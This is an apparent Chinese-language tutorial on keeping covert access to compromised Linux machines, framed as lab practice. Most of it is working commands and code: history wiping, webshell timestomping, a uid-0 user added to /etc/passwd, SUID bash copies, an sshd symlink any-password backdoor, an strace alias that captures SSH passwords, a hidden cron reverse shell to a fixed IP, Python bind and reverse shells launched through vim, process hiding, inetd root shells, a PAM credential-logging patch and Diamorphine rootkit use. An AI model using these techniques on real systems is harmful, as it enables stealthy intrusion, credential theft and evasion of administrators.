文章目录
Linux 权限维持
本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
其实下面所有的权限维持方法都不如 cat /etc/shadow 爆破出root密码,毕竟不会留下任何文件。
一般的管理员也不会经常改密码。
在了解Linux权限维持之前我们我先来了解一下Linux的历史命令记录,毕竟没有谁希望管理员可以看到我们在服务器上干了什么。
关闭历史操作命令
在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?
技巧一:只针对你的工作关闭历史记录s
[space]set +o history # 备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
要重新开启历史功能,执行下面的命令:
[Space]set -o history # 恢复命令记录的功能
技巧二:从历史记录中删除指定的命令
假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:
history | grep "keyword"
输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
history -d [num]
删除大规模历史操作记录,这里,我们只保留前150行:
sed -i '150,$d' ~/.bash_history
修改文件创建时间
有的时候网站管理员或者蓝队会根据文件修改时间来判断文件是否为后门,如参考index.php的时间再来看shell.php的时间就可以判断shell.php的生成时间有问题
解决方法:
修改我们的webshell创建时间与网站index.php创建时间一致。
touch -r index.php shell.php
touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。
文件锁定
在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
chattr +i evil.php # 锁定文件
rm -rf evil.php # 提示禁止删除
lsattr evil.php # 属性查看
chattr -i evil.php # 解除锁定
rm -rf evil.php # 彻底删除文件
passwd增加用户
/etc/passwd 各部分含义:
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL
/etc/shadow 各部分含义:
用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用
增加超级用户:
Tips:这里我们必须切换到root用户或者拥有root权限才能进行写入
perl -le 'print crypt("passwd","salt")'
sadtCr0CILzv2
echo "lian:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd
suid后门权限维持
suid常用于Linux提权中,同时我们也可以用于权限维持中。一般的管理员不会没事去搜索拥有suid的文件所以我们可以利用这个漏洞来自己创建一个拥有suid权限的文件,然后我们使用webshell连接工具配合这个拥有suid权限的文件可以得到一个root权限的shell以执行我们想要的操作。
当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的。
必要条件:
- SUID权限仅对二进制程序有效。
- 执行者对于该程序需要具有x的可执行权限
- 本权限仅在执行该程序的过程中有效
- 在执行过程中执行者将具有该程序拥有者的权限
suid权限维持方法:
# 创建suid权限的文件
sudo cp /bin/bash /tmp/.woot
# 赋权
sudo chmod 4755 /tmp/.woot
我们可以使用ls -al
来查看一下 .woot 的权限
我们使用以下命令来使用这个suid的文件:
/tmp/.woot -p # bash2 针对 suid 有一些护卫的措施,使用-p参数来获取一个root shell
检测:查找具有suid权限的文件即可
find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null
SSH 权限维持方法(2种)
SSH 软连接后门
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测uid 0 即可认证成功,这样就导致了可以使用任意密码登录:
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
使用kali进行登录
优点:能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成8081,8080等端口。
详细利用教程文章:http://blackwolfsec.cc/2017/03/24/Linux_ssh_backdoor/
SSH 公钥免密码登陆
这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,如struts写入公钥,oracle写入公钥连接,Redis未授权访问等情景。
利用方式:
cd /root/.ssh
ssh-keygen -t rsa # 生成公钥
cat id_rsa.pub > authorized_keys # 将id_rsa.pub内容放到目标.ssh/authorized_keys里
cat id_rsa
把id_rsa的内容复制出来放到kali中进行赋权登录
cd /home/kali/.ssh
vi id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@192.168.0.113
SSH Keylogger记录密码
这个方式并不是用来权限维持的我们可以利用管理员ssh登录其他主机从而获得其他主机的账号密码(相当于键盘记录不过就只记录ssh登录的数据)。
当前系统如果存在strace的话,它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。
如何使用:
在当前用户的 .bashrc 里新建一条 alias ,这样可以抓取他登陆其他机器的 ssh 密码:
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
设置完毕后,倘若当前系统不存在alias,那么就会影响其正常使用:
grep -A 9 'password' .ssh-2210月101634901802.log
Ubuntu利用Cron机制安装后门
首先说明一下,Cron是ubuntu下默认启动的用户执行计划。它会按照设置,在固定的周期或者按照一定时间执行某一个任务。它是一项服务,你可以使用基本的服务查看状态命令等查看信息。
# 查看服务状态
service cron status
# 查看普通用户的执行计划。(如果你显示没有计划不要着急,后面加上cron.allow和cron.deny就有了)
crontab -l
# 编辑任务
crontab -e
# 列出任务
crontab -l
使用方法:
# 添加反弹shell计划任务
(crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.150.145/2333 0>&1';\r%100c\n")|crontab -
我们使用kali进行监听就会获得一个反弹shell
nc -lvnp 2333
我们使用 crontab -l
以及 cat /var/spool/cron/crontabs/root
是看不到我们这个计划任务的
只有使用 crontab -e
进行编辑才能看到
vim python 扩展后门
适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。
cd /usr/lib/python3/ && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
恶意脚本 dir.py 的内容可以是任何功能的后门,比如监听本地的11端口:
正向后门
#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print ('waiting for connect')
talk, addr = server.accept()
print ('connect from',addr)
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)
反向后门
import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.241.128", 6666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);
隐藏后门
(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)
#将nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
#“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。
将netstat -anpt 查看到的可疑连接隐藏起来,解决方法:
既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上
(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
隐藏进程
mkdir null
mount --bind null /proc/6238
netstat -anpt
攻击机nc连接过去就可以了:
nohup vim -E -c "pyfile dir.py"
nc 192.168.150.159 11
inetd服务后门
inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。
如果服务器没有安装这个工具我们可以手动安装以后再进行权限维持。
apt install openbsd-inetd # 安装inetd
权限维持方法:
先修改配置文件:
vim /etc/inetd.conf
# 添加下面这行
daytime stream tcp nowait root /bin/bash bash -i
# 保存配置后启动inetd
inetd
在攻击机上使用nc连接
nc -vv 192.168.150.159 13
我们还可以修改默认端口
vi /etc/services
woot 6666/tcp # evil backdoor service
然后修改/etc/inetd.conf :
woot stream tcp nowait root /bin/bash bash -i
我们可以修改成一些常见的端口,以实现隐藏。
检测:查看配置文件即可
cat /etc/inetd.conf
协议后门
在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉。但是对于UDP(DNS、ICMP)相关流量通常不会拦截。
ICMP
主要原理就是利用ICMP中可控的data字段进行数据传输,具体原理请参考: https://zhuanlan.zhihu.com/p/41154036
开源工具:ICMP后门项目地址:https://github.com/andreafabrizi/prism
DNS
在大多数的网络里环境中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。主要原理就是将后门载荷隐藏在拥有PTR记录和A记录的DNS域中(也可以利用AAAA记录和IPv6地址传输后门),具体请参考:https://www.anquanke.com/post/id/85431
开源工具:DNS后门项目地址:https://github.com/DamonMohammadbagher/NativePayload_DNS
协议后门检测:对于DNS/ICMP这种协议后门,直接查看网络连接即可,因为在使用过程中会产生大量的网络连接
清除:kill进程、删除文件即可
PAM后门
PAM使用配置 /etc/pam.d/ 下的文件来管理认证方式,应用程序调用相应的配置文件,以加载动态库的形式调用 /lib/security下的模块。
PAM配置可分为四个参数:
- 模块类型
- 控制标记
- 模块路径
- 模块参数
例如: session required
pam_selinux.so open
上面提到的 sshd 软链接后门利用的 PAM 机制达到任意密码登录,还有一种方式是键盘记录。原理主要是通过 pam_unix_auth.c 打补丁的方式潜入到正常的 pam 模块中,以此来记录管理员的帐号密码。
利用步骤:复制patch到源代码目录 >>> 打patch >>> 编译 >>> 将生成的pam_uninx.so文件覆盖到/lib/secruity/pam_unix.so下 >>> 修改文件属性 >>> 建立密码保存文件,并设置好相关的权限 >>> 清理日志 >>> ok
#确保ssh开启pam支持
vim /etc/ssh/sshd_config
UsePAM yes
#自动化脚本
https://github.com/litsand/shell/blob/master/pam.sh
检测:
# 1、通过Strace跟踪ssh
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR
# 2、检查pam_unix.so的修改时间
stat /lib/security/pam_unix.so #32位
stat /lib64/security/pam_unix.so #64位
清除:yum reinstall pam
Rootkit
rootkit分为内核级和应用级两种:
-
内核级的比如:Diamorphine
-
应用级的比如:Mafix
Mafix 是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。应用级rookit,主要替换ls、ps、netstat命令来隐藏文件检测:使用相关检测工具,比如:unhide
Diamorphine
Diamorphine是一个C语言写的,运行于linux系统的rootkit,支持linux 内核版本2.6.x/3.x/4.x。
安装Diamorphine
直接采用源码安装方法,先下载源码:
git clone https://github.com/m0nad/Diamorphine.git
下载完成后,进入目录(cd Diamorphine)
使用说明:
make安装完之后加载模块,还必须以root权限运行。
insmod diamorphine.ko
用法
获取root
kill -64 0
隐藏进程
kill -31 pid号
隐藏模块
lsmo # 列出模块
kill -63 pid号
创建隐藏文件,ls,du都找不到
touch diamorphine_secret # 只要是diamorphine_secret开头的文件名或者文件夹,就会隐藏。
卸载diamorphine模块,需要root权限
rmmod diamorphine